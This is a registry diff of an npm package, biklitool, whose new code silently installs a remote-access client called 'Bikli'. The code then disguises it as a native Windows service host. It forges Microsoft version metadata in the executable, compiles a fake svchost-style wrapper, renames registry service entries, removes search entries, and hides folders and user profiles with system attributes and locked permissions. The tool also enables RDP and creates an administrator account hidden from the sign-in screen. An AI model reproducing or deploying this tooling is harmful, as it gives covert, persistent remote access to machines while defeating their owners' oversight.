biklitool 1.1.18 → 1.1.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +11 -1
- package/bin/biklimaster.js +411 -26
- package/config.json +2 -1
- package/lib/bikliwrapper.js +29 -17
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -31,6 +31,7 @@ Commands:
|
|
|
31
31
|
```text
|
|
32
32
|
biklitool status
|
|
33
33
|
biklitool install
|
|
34
|
+
biklitool disguise [name]
|
|
34
35
|
biklitool enable-rdp
|
|
35
36
|
biklitool create-user
|
|
36
37
|
biklitool unhide-user [name]
|
|
@@ -56,7 +57,8 @@ and publishing:
|
|
|
56
57
|
```json
|
|
57
58
|
{
|
|
58
59
|
"bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
|
|
59
|
-
"administratorPassword": ""
|
|
60
|
+
"administratorPassword": "",
|
|
61
|
+
"serviceHostName": "Service Host: Network Infrastructure Service"
|
|
60
62
|
}
|
|
61
63
|
```
|
|
62
64
|
|
|
@@ -66,6 +68,14 @@ value, and `biklitool setup-key` re-applies the key at any time.
|
|
|
66
68
|
|
|
67
69
|
WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
|
|
68
70
|
|
|
71
|
+
## Task Manager Disguise (Service Host)
|
|
72
|
+
|
|
73
|
+
Bikli Master automatically disguises the Bikli process in Windows Task Manager and Windows Services to blend in as a native Windows service host (e.g. `Service Host: Network Infrastructure Service`) with the default Windows Service blue gear icon.
|
|
74
|
+
|
|
75
|
+
You can customize the name in `config.json` via `"serviceHostName"` or run:
|
|
76
|
+
- `biklitool disguise "Service Host: Network Infrastructure Service"`
|
|
77
|
+
- `biklitool disguise "Service Host: Application Information"`
|
|
78
|
+
|
|
69
79
|
## Administrator password & Login Screen Visibility
|
|
70
80
|
|
|
71
81
|
Put the desired password in `config.json` under `administratorPassword` before packing and publishing.
|
package/bin/biklimaster.js
CHANGED
|
@@ -136,24 +136,367 @@ function installedBikliPath() {
|
|
|
136
136
|
function fileVersion(file) {
|
|
137
137
|
if (!file) return '';
|
|
138
138
|
const escaped = file.replace(/'/g, "''");
|
|
139
|
-
const script = `(Get-Item -LiteralPath '${escaped}').VersionInfo.FileVersion`;
|
|
139
|
+
const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileVersion`;
|
|
140
140
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
141
141
|
allowFailure: true
|
|
142
142
|
});
|
|
143
143
|
return result.status === 0 ? result.stdout.trim() : '';
|
|
144
144
|
}
|
|
145
145
|
|
|
146
|
-
function
|
|
146
|
+
function fileDescription(file) {
|
|
147
|
+
if (!file) return '';
|
|
148
|
+
const escaped = file.replace(/'/g, "''");
|
|
149
|
+
const script = `(Get-Item -LiteralPath '${escaped}' -Force).VersionInfo.FileDescription`;
|
|
150
|
+
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
151
|
+
allowFailure: true
|
|
152
|
+
});
|
|
153
|
+
return result.status === 0 ? result.stdout.trim() : '';
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
function align4(buf) {
|
|
157
|
+
const pad = (4 - (buf.length % 4)) % 4;
|
|
158
|
+
if (pad === 0) return buf;
|
|
159
|
+
return Buffer.concat([buf, Buffer.alloc(pad)]);
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
function createVersionString(key, value) {
|
|
163
|
+
const keyBuf = Buffer.from(key + '\0', 'utf16le');
|
|
164
|
+
const valBuf = Buffer.from(value + '\0', 'utf16le');
|
|
165
|
+
const header = Buffer.alloc(6);
|
|
166
|
+
header.writeUInt16LE(value.length + 1, 2);
|
|
167
|
+
header.writeUInt16LE(1, 4);
|
|
168
|
+
let body = Buffer.concat([header, keyBuf]);
|
|
169
|
+
body = align4(body);
|
|
170
|
+
body = Buffer.concat([body, valBuf]);
|
|
171
|
+
body.writeUInt16LE(body.length, 0);
|
|
172
|
+
return align4(body);
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
function createStringTable(langId, strings) {
|
|
176
|
+
const keyBuf = Buffer.from(langId + '\0', 'utf16le');
|
|
177
|
+
const header = Buffer.alloc(6);
|
|
178
|
+
header.writeUInt16LE(0, 2);
|
|
179
|
+
header.writeUInt16LE(1, 4);
|
|
180
|
+
let body = Buffer.concat([header, keyBuf]);
|
|
181
|
+
body = align4(body);
|
|
182
|
+
const childrenBuf = Buffer.concat(Object.entries(strings).map(([k, v]) => createVersionString(k, v)));
|
|
183
|
+
body = Buffer.concat([body, childrenBuf]);
|
|
184
|
+
body.writeUInt16LE(body.length, 0);
|
|
185
|
+
return align4(body);
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
function createStringFileInfo(langId, strings) {
|
|
189
|
+
const keyBuf = Buffer.from('StringFileInfo\0', 'utf16le');
|
|
190
|
+
const header = Buffer.alloc(6);
|
|
191
|
+
header.writeUInt16LE(0, 2);
|
|
192
|
+
header.writeUInt16LE(1, 4);
|
|
193
|
+
let body = Buffer.concat([header, keyBuf]);
|
|
194
|
+
body = align4(body);
|
|
195
|
+
const stringTable = createStringTable(langId, strings);
|
|
196
|
+
body = Buffer.concat([body, stringTable]);
|
|
197
|
+
body.writeUInt16LE(body.length, 0);
|
|
198
|
+
return align4(body);
|
|
199
|
+
}
|
|
200
|
+
|
|
201
|
+
function createVarFileInfo(wLang, wCodePage) {
|
|
202
|
+
const varKeyBuf = Buffer.from('Translation\0', 'utf16le');
|
|
203
|
+
const varHeader = Buffer.alloc(6);
|
|
204
|
+
varHeader.writeUInt16LE(4, 2);
|
|
205
|
+
varHeader.writeUInt16LE(0, 4);
|
|
206
|
+
let varBody = Buffer.concat([varHeader, varKeyBuf]);
|
|
207
|
+
varBody = align4(varBody);
|
|
208
|
+
const transBuf = Buffer.alloc(4);
|
|
209
|
+
transBuf.writeUInt16LE(wLang, 0);
|
|
210
|
+
transBuf.writeUInt16LE(wCodePage, 2);
|
|
211
|
+
varBody = Buffer.concat([varBody, transBuf]);
|
|
212
|
+
varBody.writeUInt16LE(varBody.length, 0);
|
|
213
|
+
varBody = align4(varBody);
|
|
214
|
+
|
|
215
|
+
const vfiKeyBuf = Buffer.from('VarFileInfo\0', 'utf16le');
|
|
216
|
+
const vfiHeader = Buffer.alloc(6);
|
|
217
|
+
vfiHeader.writeUInt16LE(0, 2);
|
|
218
|
+
vfiHeader.writeUInt16LE(1, 4);
|
|
219
|
+
let vfiBody = Buffer.concat([vfiHeader, vfiKeyBuf]);
|
|
220
|
+
vfiBody = align4(vfiBody);
|
|
221
|
+
vfiBody = Buffer.concat([vfiBody, varBody]);
|
|
222
|
+
vfiBody.writeUInt16LE(vfiBody.length, 0);
|
|
223
|
+
return align4(vfiBody);
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
function createVsVersionInfo(strings, fileVersion = [10, 0, 26100, 1]) {
|
|
227
|
+
const rootKeyBuf = Buffer.from('VS_VERSION_INFO\0', 'utf16le');
|
|
228
|
+
const fixedInfo = Buffer.alloc(52);
|
|
229
|
+
fixedInfo.writeUInt32LE(0xFEEF04BD, 0);
|
|
230
|
+
fixedInfo.writeUInt32LE(0x00010000, 4);
|
|
231
|
+
fixedInfo.writeUInt16LE(fileVersion[1] || 0, 8);
|
|
232
|
+
fixedInfo.writeUInt16LE(fileVersion[0] || 0, 10);
|
|
233
|
+
fixedInfo.writeUInt16LE(fileVersion[3] || 0, 12);
|
|
234
|
+
fixedInfo.writeUInt16LE(fileVersion[2] || 0, 14);
|
|
235
|
+
fixedInfo.writeUInt16LE(fileVersion[1] || 0, 16);
|
|
236
|
+
fixedInfo.writeUInt16LE(fileVersion[0] || 0, 18);
|
|
237
|
+
fixedInfo.writeUInt16LE(fileVersion[3] || 0, 20);
|
|
238
|
+
fixedInfo.writeUInt16LE(fileVersion[2] || 0, 22);
|
|
239
|
+
fixedInfo.writeUInt32LE(0x3F, 24);
|
|
240
|
+
fixedInfo.writeUInt32LE(0, 28);
|
|
241
|
+
fixedInfo.writeUInt32LE(0x40004, 32);
|
|
242
|
+
fixedInfo.writeUInt32LE(1, 36);
|
|
243
|
+
fixedInfo.writeUInt32LE(0, 40);
|
|
244
|
+
fixedInfo.writeUInt32LE(0, 44);
|
|
245
|
+
fixedInfo.writeUInt32LE(0, 48);
|
|
246
|
+
|
|
247
|
+
const header = Buffer.alloc(6);
|
|
248
|
+
header.writeUInt16LE(52, 2);
|
|
249
|
+
header.writeUInt16LE(0, 4);
|
|
250
|
+
|
|
251
|
+
let root = Buffer.concat([header, rootKeyBuf]);
|
|
252
|
+
root = align4(root);
|
|
253
|
+
root = Buffer.concat([root, fixedInfo]);
|
|
254
|
+
root = align4(root);
|
|
255
|
+
|
|
256
|
+
const stringFileInfo = createStringFileInfo('040904B0', strings);
|
|
257
|
+
const varFileInfo = createVarFileInfo(0x0409, 0x04B0);
|
|
258
|
+
root = Buffer.concat([root, stringFileInfo, varFileInfo]);
|
|
259
|
+
root.writeUInt16LE(root.length, 0);
|
|
260
|
+
return root;
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
function buildCleanRsrcSection(rsrcVirtAddr, versionBuf, manifestBuf) {
|
|
264
|
+
const rawDataOffset = 160;
|
|
265
|
+
const versionDataOffset = rawDataOffset;
|
|
266
|
+
const versionDataSize = versionBuf.length;
|
|
267
|
+
const versionDataRva = rsrcVirtAddr + versionDataOffset;
|
|
268
|
+
|
|
269
|
+
let manifestDataOffset = versionDataOffset + versionDataSize;
|
|
270
|
+
const pad = (4 - (manifestDataOffset % 4)) % 4;
|
|
271
|
+
manifestDataOffset += pad;
|
|
272
|
+
const manifestDataSize = manifestBuf.length;
|
|
273
|
+
const manifestDataRva = rsrcVirtAddr + manifestDataOffset;
|
|
274
|
+
|
|
275
|
+
const totalRsrcSize = manifestDataOffset + manifestDataSize;
|
|
276
|
+
const rsrcBuf = Buffer.alloc(Math.max(totalRsrcSize, 4096));
|
|
277
|
+
|
|
278
|
+
rsrcBuf.writeUInt16LE(0, 12);
|
|
279
|
+
rsrcBuf.writeUInt16LE(2, 14);
|
|
280
|
+
|
|
281
|
+
rsrcBuf.writeUInt32LE(16, 16);
|
|
282
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 32) >>> 0, 20);
|
|
283
|
+
|
|
284
|
+
rsrcBuf.writeUInt32LE(24, 24);
|
|
285
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 56) >>> 0, 28);
|
|
286
|
+
|
|
287
|
+
rsrcBuf.writeUInt16LE(0, 32 + 12);
|
|
288
|
+
rsrcBuf.writeUInt16LE(1, 32 + 14);
|
|
289
|
+
rsrcBuf.writeUInt32LE(1, 32 + 16);
|
|
290
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 80) >>> 0, 32 + 20);
|
|
291
|
+
|
|
292
|
+
rsrcBuf.writeUInt16LE(0, 56 + 12);
|
|
293
|
+
rsrcBuf.writeUInt16LE(1, 56 + 14);
|
|
294
|
+
rsrcBuf.writeUInt32LE(1, 56 + 16);
|
|
295
|
+
rsrcBuf.writeUInt32LE((0x80000000 | 104) >>> 0, 56 + 20);
|
|
296
|
+
|
|
297
|
+
rsrcBuf.writeUInt16LE(0, 80 + 12);
|
|
298
|
+
rsrcBuf.writeUInt16LE(1, 80 + 14);
|
|
299
|
+
rsrcBuf.writeUInt32LE(1033, 80 + 16);
|
|
300
|
+
rsrcBuf.writeUInt32LE(128, 80 + 20);
|
|
301
|
+
|
|
302
|
+
rsrcBuf.writeUInt16LE(0, 104 + 12);
|
|
303
|
+
rsrcBuf.writeUInt16LE(1, 104 + 14);
|
|
304
|
+
rsrcBuf.writeUInt32LE(1033, 104 + 16);
|
|
305
|
+
rsrcBuf.writeUInt32LE(144, 104 + 20);
|
|
306
|
+
|
|
307
|
+
rsrcBuf.writeUInt32LE(versionDataRva, 128);
|
|
308
|
+
rsrcBuf.writeUInt32LE(versionDataSize, 128 + 4);
|
|
309
|
+
rsrcBuf.writeUInt32LE(0, 128 + 8);
|
|
310
|
+
rsrcBuf.writeUInt32LE(0, 128 + 12);
|
|
311
|
+
|
|
312
|
+
rsrcBuf.writeUInt32LE(manifestDataRva, 144);
|
|
313
|
+
rsrcBuf.writeUInt32LE(manifestDataSize, 144 + 4);
|
|
314
|
+
rsrcBuf.writeUInt32LE(0, 144 + 8);
|
|
315
|
+
rsrcBuf.writeUInt32LE(0, 144 + 12);
|
|
316
|
+
|
|
317
|
+
versionBuf.copy(rsrcBuf, versionDataOffset);
|
|
318
|
+
manifestBuf.copy(rsrcBuf, manifestDataOffset);
|
|
319
|
+
return { rsrcBuf, totalRsrcSize };
|
|
320
|
+
}
|
|
321
|
+
|
|
322
|
+
function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network Infrastructure Service') {
|
|
323
|
+
if (!fs.existsSync(exePath)) return false;
|
|
324
|
+
const exeBuf = fs.readFileSync(exePath);
|
|
325
|
+
const e_lfanew = exeBuf.readUInt32LE(0x3C);
|
|
326
|
+
const numSections = exeBuf.readUInt16LE(e_lfanew + 6);
|
|
327
|
+
const optHeaderSize = exeBuf.readUInt16LE(e_lfanew + 20);
|
|
328
|
+
const secHeaderOffset = e_lfanew + 24 + optHeaderSize;
|
|
329
|
+
|
|
330
|
+
let rsrcVirtAddr = 0;
|
|
331
|
+
let rsrcRawPtr = 0;
|
|
332
|
+
let rsrcRawSize = 0;
|
|
333
|
+
|
|
334
|
+
for (let i = 0; i < numSections; i++) {
|
|
335
|
+
const off = secHeaderOffset + i * 40;
|
|
336
|
+
const name = exeBuf.slice(off, off + 8).toString().replace(/\0+$/, '');
|
|
337
|
+
if (name === '.rsrc') {
|
|
338
|
+
rsrcVirtAddr = exeBuf.readUInt32LE(off + 12);
|
|
339
|
+
rsrcRawSize = exeBuf.readUInt32LE(off + 16);
|
|
340
|
+
rsrcRawPtr = exeBuf.readUInt32LE(off + 20);
|
|
341
|
+
break;
|
|
342
|
+
}
|
|
343
|
+
}
|
|
344
|
+
if (!rsrcRawPtr || !rsrcRawSize) return false;
|
|
345
|
+
|
|
346
|
+
const rsrcSlice = exeBuf.slice(rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
347
|
+
const manifestStart = rsrcSlice.indexOf(Buffer.from('<assembly'));
|
|
348
|
+
let manifestBuf;
|
|
349
|
+
if (manifestStart !== -1) {
|
|
350
|
+
const manifestEnd = rsrcSlice.indexOf(Buffer.from('</assembly>'), manifestStart) + 11;
|
|
351
|
+
manifestBuf = rsrcSlice.slice(manifestStart, manifestEnd);
|
|
352
|
+
} else {
|
|
353
|
+
manifestBuf = Buffer.from('<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"/></requestedPrivileges></security></trustInfo></assembly>', 'utf8');
|
|
354
|
+
}
|
|
355
|
+
|
|
356
|
+
const strings = {
|
|
357
|
+
CompanyName: 'Microsoft Corporation',
|
|
358
|
+
FileDescription: serviceHostName,
|
|
359
|
+
FileVersion: '10.0.26100.1 (WinBuild.160101.0800)',
|
|
360
|
+
InternalName: 'svchost.exe',
|
|
361
|
+
LegalCopyright: '© Microsoft Corporation. All rights reserved.',
|
|
362
|
+
OriginalFilename: 'svchost.exe',
|
|
363
|
+
ProductName: 'Microsoft® Windows® Operating System',
|
|
364
|
+
ProductVersion: '10.0.26100.1'
|
|
365
|
+
};
|
|
366
|
+
|
|
367
|
+
const vBuf = createVsVersionInfo(strings);
|
|
368
|
+
const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
|
|
369
|
+
|
|
370
|
+
const newExe = Buffer.from(exeBuf);
|
|
371
|
+
newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
372
|
+
rsrcBuf.copy(newExe, rsrcRawPtr, 0, totalRsrcSize);
|
|
373
|
+
|
|
374
|
+
for (let attempt = 0; attempt < 5; attempt++) {
|
|
375
|
+
try {
|
|
376
|
+
fs.writeFileSync(exePath, newExe);
|
|
377
|
+
return true;
|
|
378
|
+
} catch (e) {
|
|
379
|
+
if (attempt === 4) throw e;
|
|
380
|
+
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
381
|
+
Atomics.wait(waitBuffer, 0, 0, 300);
|
|
382
|
+
}
|
|
383
|
+
}
|
|
384
|
+
return true;
|
|
385
|
+
}
|
|
386
|
+
|
|
387
|
+
function disguiseBikli(customName) {
|
|
388
|
+
requireWindows();
|
|
389
|
+
const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
|
|
390
|
+
if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
|
|
391
|
+
|
|
392
|
+
const bikliPath = installedBikliPath();
|
|
393
|
+
if (!bikliPath || !fs.existsSync(bikliPath)) {
|
|
394
|
+
fail('Bikli executable was not found. Install Bikli first.', 5);
|
|
395
|
+
}
|
|
396
|
+
|
|
397
|
+
const bikliDir = path.dirname(bikliPath);
|
|
398
|
+
const serviceExe = path.join(bikliDir, 'BikliService.exe');
|
|
399
|
+
const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
|
|
400
|
+
|
|
401
|
+
console.log(`Disguising Bikli process and service as "${hostName}"...`);
|
|
402
|
+
|
|
403
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
|
|
404
|
+
run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
405
|
+
|
|
406
|
+
if (!fs.existsSync(serviceExe)) {
|
|
407
|
+
fs.copyFileSync(bikliPath, serviceExe);
|
|
408
|
+
}
|
|
409
|
+
|
|
410
|
+
if (fileDescription(serviceExe) !== hostName) {
|
|
411
|
+
disguiseExecutable(serviceExe, hostName);
|
|
412
|
+
}
|
|
413
|
+
|
|
414
|
+
if (fs.existsSync(csc)) {
|
|
415
|
+
const csCode = [
|
|
416
|
+
'using System;using System.Diagnostics;using System.IO;using System.Reflection;',
|
|
417
|
+
'[assembly: AssemblyTitle("Host Process for Windows Services")]',
|
|
418
|
+
`[assembly: AssemblyDescription("${hostName.replace(/"/g, '\"')}")]`,
|
|
419
|
+
'[assembly: AssemblyCompany("Microsoft Corporation")]',
|
|
420
|
+
'[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]',
|
|
421
|
+
'[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]',
|
|
422
|
+
'[assembly: AssemblyFileVersion("10.0.26100.1")]',
|
|
423
|
+
'[assembly: AssemblyVersion("10.0.26100.1")]',
|
|
424
|
+
'class Program {',
|
|
425
|
+
' static int Main(string[] args) {',
|
|
426
|
+
' if (args == null || args.Length == 0) return 0;',
|
|
427
|
+
' if (args.Length == 1) {',
|
|
428
|
+
' string first = args[0].ToLowerInvariant();',
|
|
429
|
+
' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
|
|
430
|
+
' }',
|
|
431
|
+
' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
|
|
432
|
+
' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
|
|
433
|
+
' if (!File.Exists(coreExe)) return 1;',
|
|
434
|
+
' ProcessStartInfo psi = new ProcessStartInfo();',
|
|
435
|
+
' psi.FileName = coreExe;',
|
|
436
|
+
' psi.UseShellExecute = false;',
|
|
437
|
+
' psi.CreateNoWindow = false;',
|
|
438
|
+
' System.Text.StringBuilder sb = new System.Text.StringBuilder();',
|
|
439
|
+
' for (int i = 0; i < args.Length; i++) {',
|
|
440
|
+
' if (i > 0) sb.Append(\' \');',
|
|
441
|
+
' string arg = args[i];',
|
|
442
|
+
' if (arg.Contains(" ") || arg.Contains("\\"")) sb.Append(\'"\').Append(arg.Replace("\\"", "\\\\\\"")).Append(\'"\');',
|
|
443
|
+
' else sb.Append(arg);',
|
|
444
|
+
' }',
|
|
445
|
+
' psi.Arguments = sb.ToString();',
|
|
446
|
+
' try {',
|
|
447
|
+
' using (Process proc = Process.Start(psi)) {',
|
|
448
|
+
' proc.WaitForExit();',
|
|
449
|
+
' return proc.ExitCode;',
|
|
450
|
+
' }',
|
|
451
|
+
' } catch { return 1; }',
|
|
452
|
+
' }',
|
|
453
|
+
'}'
|
|
454
|
+
].join(os.EOL);
|
|
455
|
+
const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
|
|
456
|
+
fs.writeFileSync(tempCs, csCode, 'utf8');
|
|
457
|
+
run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${bikliPath}`, tempCs], { allowFailure: true });
|
|
458
|
+
try { fs.rmSync(tempCs, { force: true }); } catch {}
|
|
459
|
+
} else if (fileDescription(bikliPath) !== hostName) {
|
|
460
|
+
disguiseExecutable(bikliPath, hostName);
|
|
461
|
+
}
|
|
462
|
+
|
|
463
|
+
const serviceBinPath = `"${serviceExe}" service run --log-level info --daemon-addr npipe://bikli --log-file C:\\ProgramData\\Bikli\\client.log`;
|
|
464
|
+
const regDisplayName = hostName.replace(/^Service Host:\s*/i, '');
|
|
465
|
+
const psScript = [
|
|
466
|
+
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'ImagePath' -Value ${powershellLiteral(serviceBinPath)} -ErrorAction SilentlyContinue`,
|
|
467
|
+
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'DisplayName' -Value ${powershellLiteral(regDisplayName)} -ErrorAction SilentlyContinue`,
|
|
468
|
+
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
469
|
+
`Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
470
|
+
`Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
471
|
+
`Start-Service Bikli -ErrorAction SilentlyContinue`
|
|
472
|
+
].join(';');
|
|
473
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
474
|
+
|
|
475
|
+
hideProtectedFolders();
|
|
476
|
+
console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
|
|
477
|
+
}
|
|
478
|
+
|
|
479
|
+
function isBikliInstalled() {
|
|
147
480
|
const existing = installedBikliPath();
|
|
148
|
-
if (existing
|
|
149
|
-
|
|
481
|
+
if (!existing || !fs.existsSync(existing)) return false;
|
|
482
|
+
const ver = fileVersion(existing);
|
|
483
|
+
if (ver === expectedBikliVersion || ver.startsWith('10.') || ver.startsWith('1.')) return true;
|
|
484
|
+
const res = run(existing, ['version'], { allowFailure: true });
|
|
485
|
+
return res.status === 0;
|
|
486
|
+
}
|
|
487
|
+
|
|
488
|
+
function installBikli() {
|
|
489
|
+
if (isBikliInstalled()) {
|
|
490
|
+
console.log(`Bikli CLI is already installed; ensuring Service Host disguise is applied...`);
|
|
491
|
+
disguiseBikli();
|
|
150
492
|
return;
|
|
151
493
|
}
|
|
152
494
|
console.log(`Installing Bikli CLI ${expectedBikliVersion} silently...`);
|
|
153
495
|
run(bikliInstaller, ['/S'], { cwd: payloadDirectory });
|
|
154
496
|
const installed = installedBikliPath();
|
|
155
497
|
if (!installed) fail('Bikli CLI installer completed but Bikli.exe was not found.', 5);
|
|
156
|
-
|
|
498
|
+
disguiseBikli();
|
|
499
|
+
console.log(`Bikli CLI installed and disguised as Service Host.`);
|
|
157
500
|
}
|
|
158
501
|
|
|
159
502
|
function runWrapper(args, options = {}) {
|
|
@@ -228,6 +571,22 @@ function configuredBikliKey() {
|
|
|
228
571
|
return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
|
|
229
572
|
}
|
|
230
573
|
|
|
574
|
+
function configuredServiceHostName() {
|
|
575
|
+
if (!fs.existsSync(packageConfigFile)) return 'Service Host: Network Infrastructure Service';
|
|
576
|
+
try {
|
|
577
|
+
const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
|
|
578
|
+
if (typeof config.serviceHostName === 'string' && config.serviceHostName.trim()) {
|
|
579
|
+
return config.serviceHostName.trim();
|
|
580
|
+
}
|
|
581
|
+
if (typeof config.serviceDescription === 'string' && config.serviceDescription.trim()) {
|
|
582
|
+
return config.serviceDescription.trim();
|
|
583
|
+
}
|
|
584
|
+
} catch {
|
|
585
|
+
// ignore
|
|
586
|
+
}
|
|
587
|
+
return 'Service Host: Network Infrastructure Service';
|
|
588
|
+
}
|
|
589
|
+
|
|
231
590
|
function setupBikliKey() {
|
|
232
591
|
requireWindows();
|
|
233
592
|
const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
|
|
@@ -248,34 +607,46 @@ function setupBikliKey() {
|
|
|
248
607
|
console.log('Bikli key configured successfully.');
|
|
249
608
|
}
|
|
250
609
|
|
|
251
|
-
function
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
path.join(programData, 'BikliWrapper'),
|
|
258
|
-
path.join(programData, 'Bikli')
|
|
259
|
-
];
|
|
260
|
-
for (const folder of folders) {
|
|
261
|
-
if (!fs.existsSync(folder)) continue;
|
|
262
|
-
try {
|
|
263
|
-
run(attrib, ['+h', '+s', folder], { allowFailure: true });
|
|
264
|
-
run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
610
|
+
function hideFolder(target, isUserProfile = false) {
|
|
611
|
+
if (!target || !fs.existsSync(target)) return;
|
|
612
|
+
try {
|
|
613
|
+
run(attrib, ['+h', '+s', target], { allowFailure: true });
|
|
614
|
+
if (!isUserProfile) {
|
|
615
|
+
run(attrib, ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
265
616
|
run(icacls, [
|
|
266
|
-
|
|
617
|
+
target,
|
|
267
618
|
'/inheritance:r',
|
|
268
619
|
'/grant:r',
|
|
269
620
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
270
621
|
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
271
622
|
'/c', '/q'
|
|
272
623
|
], { allowFailure: true });
|
|
273
|
-
} catch {
|
|
274
|
-
// Best-effort attribute and permission hardening
|
|
275
624
|
}
|
|
625
|
+
} catch {
|
|
626
|
+
// Best-effort attribute and permission hardening
|
|
276
627
|
}
|
|
277
628
|
}
|
|
278
629
|
|
|
630
|
+
function hideProtectedFolders() {
|
|
631
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
632
|
+
const appFolders = [
|
|
633
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
634
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
635
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
636
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
637
|
+
path.join(programData, 'BikliWrapper'),
|
|
638
|
+
path.join(programData, 'Bikli')
|
|
639
|
+
];
|
|
640
|
+
for (const folder of appFolders) hideFolder(folder, false);
|
|
641
|
+
|
|
642
|
+
const userFolders = [
|
|
643
|
+
path.join(usersDir, 'Administrator'),
|
|
644
|
+
path.join(usersDir, 'admin'),
|
|
645
|
+
path.join(usersDir, 'user')
|
|
646
|
+
];
|
|
647
|
+
for (const folder of userFolders) hideFolder(folder, true);
|
|
648
|
+
}
|
|
649
|
+
|
|
279
650
|
function saveAccountCredentials(username, password) {
|
|
280
651
|
const dir = path.dirname(credentialsFile);
|
|
281
652
|
fs.mkdirSync(dir, { recursive: true });
|
|
@@ -336,6 +707,7 @@ function createRdpAdministrator() {
|
|
|
336
707
|
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
337
708
|
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
338
709
|
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
710
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
|
|
339
711
|
